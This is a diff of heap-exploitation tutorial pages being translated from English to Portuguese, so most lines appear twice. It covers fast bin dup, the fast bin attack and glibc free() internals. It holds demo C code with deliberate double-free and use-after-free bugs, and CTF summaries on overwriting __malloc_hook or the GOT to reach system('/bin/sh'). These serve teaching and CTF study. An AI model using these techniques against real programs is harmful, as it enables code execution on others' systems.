// Print initial memory addresses
printf("Initial allocations:\n");
printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i);
// Print initial memory addresses
printf("Initial allocations:\n");
printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i);
// Fill tcache
free(a);
free(b);
free(c);
free(d);
free(e);
free(f);
free(g);
// Fill tcache
free(a);
free(b);
free(c);
free(d);
free(e);
free(f);
free(g);
// Introduce double-free vulnerability in fast bin
free(h);
free(i);
free(h);
// Introduce double-free vulnerability in fast bin
free(h);
free(i);
free(h);
// Reallocate memory and print the addresses
char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10);
// Reallocate memory and print the addresses
char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10);
// Print initial memory addresses
printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2);
// Print initial memory addresses
printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2);
return 0;
return 0;
}
```
Neste exemplo, após preencher o tcache com vários chunks liberados (7), o código **libera o chunk `h`, depois o chunk `i`, e então `h` novamente, causando um double free** (também conhecido como Fast Bin dup). Isso abre a possibilidade de receber endereços de memória sobrepostos ao realocar, significando que dois ou mais ponteiros podem apontar para a mesma localização de memória. Manipular dados através de um ponteiro pode então afetar o outro, criando um risco crítico de segurança e potencial para exploração.
In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation.
Executando, note como **`i1` e `i2` obtiveram o mesmo endereço**:
Executing it, note how **`i1` and `i2` got the same address**:
<pre><code>Initial allocations:
<pre><code>Alocações iniciais:
a: 0xaaab0f0c22a0
b: 0xaaab0f0c22c0
c: 0xaaab0f0c22e0
@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
g: 0xaaab0f0c2360
h: 0xaaab0f0c2380
i: 0xaaab0f0c23a0
After reallocations:
Após realocações:
a1: 0xaaab0f0c2360
b1: 0xaaab0f0c2340
c1: 0xaaab0f0c2320
@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
</strong><strong>i2: 0xaaab0f0c23a0
</strong></code></pre>
## Examples
## Exemplos
- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
- We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite.
- Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance).
- One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook`
- We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution.
- Podemos alocar apenas chunks do tamanho de Fast-Bin, exceto para o tamanho `0x70`, o que impede a sobrescrita usual de `__malloc_hook`.
- Em vez disso, usamos endereços PIE que começam com `0x56` como alvo para Fast Bin dup (1/2 de chance).
- Um lugar onde os endereços PIE são armazenados é em `main_arena`, que está dentro do Glibc e perto de `__malloc_hook`.
- Alvo um deslocamento específico de `main_arena` para alocar um chunk lá e continuar alocando chunks até alcançar `__malloc_hook` para obter execução de código.
- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
- Using Tcache bins and a null-byte overflow, we can achieve a double-free situation:
- We allocate three chunks of size `0x110` (`A`, `B`, `C`)
- We free `B`
- We free `A` and allocate again to use the null-byte overflow
- Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again
- We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free.
- We leverage the double free using [Tcache poisoning](tcache-bin-attack.md)
- Usando bins Tcache e um overflow de byte nulo, podemos alcançar uma situação de double-free:
- Alocamos três chunks de tamanho `0x110` (`A`, `B`, `C`)
- Liberamos `B`
- Liberamos `A` e alocamos novamente para usar o overflow de byte nulo
- Agora o campo de tamanho de `B` é `0x100`, em vez de `0x111`, então podemos liberá-lo novamente
- Temos um Tcache-bin de tamanho `0x110` e um de tamanho `0x100` que apontam para o mesmo endereço. Portanto, temos um double free.
- Aproveitamos o double free usando [Tcache poisoning](tcache-bin-attack.md)
## References
## Referências
- [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free)

View File

@ -2,18 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
For more information about what is a fast bin check this page:
Para mais informações sobre o que é um fast bin, consulte esta página:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
As summary:
Como o fast bin é uma lista encadeada simples, há muito menos proteções do que em outros bins e apenas **modificar um endereço em um chunk de fast bin liberado** é suficiente para poder **alocar depois um chunk em qualquer endereço de memória**.
Em resumo:
```c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
@ -29,9 +28,7 @@ free(ptr1)
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
```
You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
Você pode encontrar um exemplo completo em um código muito bem explicado em [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
```c
#include <stdio.h>
#include <string.h>
@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu
int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55;
int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);
free(ptr1);
free(ptr2);
free(ptr0);
free(ptr1);
free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar);
*ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5;
unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
```
> [!CAUTION]
> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md)
> Se for possível sobrescrever o valor da variável global **`global_max_fast`** com um número grande, isso permite gerar chunks de fast bin de tamanhos maiores, potencialmente permitindo realizar ataques de fast bin em cenários onde não era possível anteriormente. Essa situação é útil no contexto do [large bin attack](large-bin-attack.md) e [unsorted bin attack](unsorted-bin-attack.md)
## Examples
## Exemplos
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability).
- **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`).
- **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\
Finally a **one gadget** was written in there.
- É possível alocar chunks, liberá-los, ler seu conteúdo e preenchê-los (com uma vulnerabilidade de overflow).
- **Consolidar chunk para infoleak**: A técnica é basicamente abusar do overflow para criar um `prev_size` falso, de modo que um chunk anterior seja colocado dentro de um maior, assim, ao alocar o maior contendo outro chunk, é possível imprimir seus dados e vazar um endereço para libc (`main_arena+88`).
- **Sobrescrever malloc hook**: Para isso, e abusando da situação de sobreposição anterior, foi possível ter 2 chunks que apontavam para a mesma memória. Portanto, liberando ambos (liberando outro chunk entre eles para evitar proteções), foi possível ter o mesmo chunk no fast bin 2 vezes. Então, foi possível alocá-lo novamente, sobrescrever o endereço do próximo chunk para apontar um pouco antes de `__malloc_hook` (para que aponte para um inteiro que malloc pensa ser um tamanho livre - outro bypass), alocá-lo novamente e então alocar outro chunk que receberá um endereço para malloc hooks.\
Finalmente, um **one gadget** foi escrito lá.
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers
- **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address.
- **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`.
- Há um overflow de heap e uso após liberação e dupla liberação porque, quando um chunk é liberado, é possível reutilizar e liberar novamente os ponteiros.
- **Libc info leak**: Basta liberar alguns chunks e eles obterão um ponteiro para uma parte da localização da arena principal. Como você pode reutilizar ponteiros liberados, basta ler este endereço.
- **Fast bin attack**: Todos os ponteiros para as alocações são armazenados dentro de um array, então podemos liberar alguns chunks de fast bin e, no último, sobrescrever o endereço para apontar um pouco antes deste array de ponteiros. Então, aloque alguns chunks com o mesmo tamanho e obteremos primeiro o legítimo e depois o falso contendo o array de ponteiros. Agora podemos sobrescrever esses ponteiros de alocação para fazer o endereço GOT de `free` apontar para `system` e então escrever `"/bin/sh"` no chunk 1 para então chamar `free(chunk1)` que, em vez disso, executará `system("/bin/sh")`.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
- Outro exemplo de abusar de um overflow de um byte para consolidar chunks no unsorted bin e obter um libc infoleak e então realizar um ataque de fast bin para sobrescrever malloc hook com um endereço de one gadget.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT
- You can find a Fast Bin attack abused through an unsorted bin attack:
- Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed).
- Após um infoleak abusando do unsorted bin com um UAF para vazar um endereço libc e um endereço PIE, o exploit deste CTF usou um ataque de fast bin para alocar um chunk em um lugar onde os ponteiros para chunks controlados estavam localizados, então foi possível sobrescrever certos ponteiros para escrever um one gadget no GOT.
- Você pode encontrar um ataque Fast Bin abusado através de um ataque unsorted bin:
- Note que é comum antes de realizar ataques de fast bin abusar das free-lists para vazar endereços libc/heap (quando necessário).
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
- Podemos apenas alocar chunks de tamanho maior que `0x100`.
- Sobrescrever `global_max_fast` usando um ataque Unsorted Bin (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits).
- Ataque Fast Bin para modificar um array global de chunks. Isso fornece uma primitiva de leitura/escrita arbitrária, que permite modificar o GOT e definir algumas funções para apontar para `system`.
{{#ref}}
unsorted-bin-attack.md

View File

@ -1,4 +1,4 @@
# Heap Memory Functions
# Funções de Memória Heap
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,95 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}}
## Free Order Summary <a href="#libc_free" id="libc_free"></a>
## Resumo da Ordem de Liberação <a href="#libc_free" id="libc_free"></a>
(No checks are explained in this summary and some case have been omitted for brevity)
(Nenhuma verificação é explicada neste resumo e alguns casos foram omitidos para brevidade)
1. If the address is null don't do anything
2. If the chunk was mmaped, mummap it and finish
3. Call `_int_free`:
1. If possible, add the chunk to the tcache
2. If possible, add the chunk to the fast bin
3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list
1. Se o endereço for nulo, não faça nada
2. Se o chunk foi mmaped, mummap ele e termine
3. Chame `_int_free`:
1. Se possível, adicione o chunk ao tcache
2. Se possível, adicione o chunk ao fast bin
3. Chame `_int_free_merge_chunk` para consolidar o chunk se necessário e adicione-o à lista não ordenada
## \_\_libc_free <a href="#libc_free" id="libc_free"></a>
`Free` calls `__libc_free`.
`Free` chama `__libc_free`.
- If the address passed is Null (0) don't do anything.
- Check pointer tag
- If the chunk is `mmaped`, `mummap` it and that all
- If not, add the color and call `_int_free` over it
- Se o endereço passado for nulo (0), não faça nada.
- Verifique a tag do ponteiro
- Se o chunk for `mmaped`, `mummap` ele e isso é tudo
- Se não, adicione a cor e chame `_int_free` sobre ele
<details>
<summary>__lib_free code</summary>
<summary>__lib_free código</summary>
```c
void
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
if (mem == 0) /* free(0) has no effect */
return;
if (mem == 0) /* free(0) has no effect */
return;
/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;
/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;
int err = errno;
int err = errno;
p = mem2chunk (mem);
p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();
/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));
/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
__set_errno (err);
__set_errno (err);
}
libc_hidden_def (__libc_free)
```
</details>
## \_int_free <a href="#int_free" id="int_free"></a>
### \_int_free start <a href="#int_free" id="int_free"></a>
It starts with some checks making sure:
Começa com algumas verificações para garantir que:
- the **pointer** is **aligned,** or trigger error `free(): invalid pointer`
- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size`
- o **ponteiro** está **alinhado,** ou dispara o erro `free(): invalid pointer`
- o **tamanho** não é menor que o mínimo e que o **tamanho** também está **alinhado** ou dispara o erro: `free(): invalid size`
<details>
<summary>_int_free start</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
@ -99,288 +96,279 @@ It starts with some checks making sure:
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
size = chunksize (p);
size = chunksize (p);
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p);
check_inuse_chunk(av, p);
```
</details>
### \_int_free tcache <a href="#int_free" id="int_free"></a>
It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and:
Primeiro, ele tentará alocar este bloco no tcache relacionado. No entanto, algumas verificações são realizadas anteriormente. Ele percorrerá todos os blocos do tcache no mesmo índice que o bloco liberado e:
- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache`
- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2`
- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2`
- Se houver mais entradas do que `mp_.tcache_count`: `free(): too many chunks detected in tcache`
- Se a entrada não estiver alinhada: free(): `unaligned chunk detected in tcache 2`
- se o bloco liberado já foi liberado e está presente como bloco no tcache: `free(): double free detected in tcache 2`
If all goes well, the chunk is added to the tcache and the functions returns.
Se tudo correr bem, o bloco é adicionado ao tcache e a função retorna.
<details>
<summary>_int_free tcache</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
```
</details>
### \_int_free fast bin <a href="#int_free" id="int_free"></a>
Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk.
Comece verificando se o tamanho é adequado para fast bin e verifique se é possível configurá-lo próximo ao top chunk.
Then, add the freed chunk at the top of the fast bin while performing some checks:
